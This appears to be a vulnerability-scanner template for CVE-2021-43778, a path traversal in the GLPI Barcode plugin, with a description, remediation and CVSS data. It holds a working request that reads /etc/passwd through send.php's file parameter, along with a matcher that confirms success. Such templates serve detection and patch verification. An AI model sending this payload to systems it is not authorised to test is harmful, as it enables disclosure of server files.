id: CVE-2021-43778

info:
  name: GLPI plugin Barcode < 2.6.1 - Path Traversal Vulnerability.
  author: cckuailong
  severity: high
  description: Barcode is a GLPI plugin for printing barcodes and QR codes. GLPI instances version 2.x prior to version 2.6.1 with the barcode plugin installed are vulnerable to a path traversal vulnerability.
  impact: |
    An attacker can exploit this vulnerability to read arbitrary files on the server, potentially leading to unauthorized access or sensitive information disclosure.
  remediation: Upgrade to version 2.6.1 or later. Or, as a workaround, delete the `front/send.php` file.
  reference:
    - https://github.com/AK-blank/CVE-2021-43778
    - https://nvd.nist.gov/vuln/detail/CVE-2021-43778
    - https://github.com/pluginsGLPI/barcode/security/advisories/GHSA-2pjh-h828-wcw9
    - https://github.com/pluginsGLPI/barcode/releases/tag/2.6.1
    - https://github.com/pluginsGLPI/barcode/commit/428c3d9adfb446e8492b1c2b7affb3d34072ff46
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-43778
    cwe-id: CWE-22
    epss-score: 0.59414
    epss-percentile: 0.97756
    cpe: cpe:2.3:a:glpi-project:barcode:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: glpi-project
    product: barcode
  tags: cve,cve2021,glpi,lfi,plugin,traversal,glpi-project

http:
  - method: GET
    path:
      - "{{BaseURL}}/glpi/plugins/barcode/front/send.php?file=../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
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